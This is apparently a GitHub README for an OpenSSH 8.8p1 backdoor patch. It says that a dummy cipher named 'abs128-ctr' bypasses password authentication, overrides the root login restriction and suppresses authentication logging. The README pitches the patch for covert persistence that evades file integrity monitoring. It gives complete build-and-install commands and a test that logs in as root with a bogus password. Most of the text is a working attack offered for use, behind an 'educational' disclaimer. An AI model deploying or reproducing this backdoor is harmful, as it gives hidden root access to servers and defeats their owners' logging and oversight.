Experimental backdoor for OpenSSH Portable. Patch for OpenSSH Portable v8.8_p1. For educational/ethical purposes only!
Consider using this method when you want persistence, but:
- FIM is monitoring configuration files, but not binaries
- You don't want to create a new backdoor user
- You don't want to deploy a reverse shell
This repo contains a patch for OpenSSH (server and client) to allow for a complete authentication bypass without modifying configuration files on the target server, adding new users, overwriting credentials, or deploying an implant such as a reverse shell.
The patch creates a dummy cipher suite, in this case abs128-ctr that functions as an activation phrase. Any client that sends this dummy cipher spec during the SSH algorithm negotiation will completely bypass PASSWD authentication on the patched server, and will also bypass authentication logging. Clients connecting with normal cipher specs will authenticate as normal.
Additionally, the patch overrides PermitRootLogin, allowing clients sending the activation phrase to login as root regardless of the OpenSSH server's restriction.
The following commands when issued will patch OpenSSH and produce a modified ssh client in /tmp/ssh and a modified server binary in /tmp/sshd.
wget https://github.com/openssh/openssh-portable/archive/refs/tags/V_8_8_P1.tar.gz
gunzip V_8_8_P1.tar.gz
tar xvf V_8_8_P1.tar
git clone https://github.com/Psmths/openssh-backdoor
cp ./openssh-backdoor/*.patch ./openssh-portable-V_8_8_P1/
cd openssh-portable-V_8_8_P1/
patch -u auth-passwd.c -i auth-passwd.c.patch
patch -u auth.c -i auth.c.patch
patch -u cipher.c -i cipher.c.patch
patch -u kex.c -i kex.c.patch
patch -u kex.h -i kex.h.patch
patch -u packet.h -i packet.h.patch
patch -u packet.c -i packet.c.patch
patch -u servconf.c -i servconf.c.patch
autoreconf
./configure --bindir=/tmp/ --sbindir=/tmp/
make -j 24
sudo make install
To test, run the modified server binary and set it to listen on some port:
sudo /tmp/sshd -p 9001
Attempt to authenticate without the special cipher suite string, and a bogus password. This should fail.
/tmp/ssh root@127.0.0.1 -p 9001 -c "chacha20-poly1305@openssh.com"
Attempt to authenticate with the special cipher suite string, in this case abs128-ctr, and a bogus password. This should seccessfully authenticate you as root. The backdoor authentication will not be logged either during login or logout.
/tmp/ssh root@127.0.0.1 -p 9001 -c "abs128-ctr,chacha20-poly1305@openssh.com"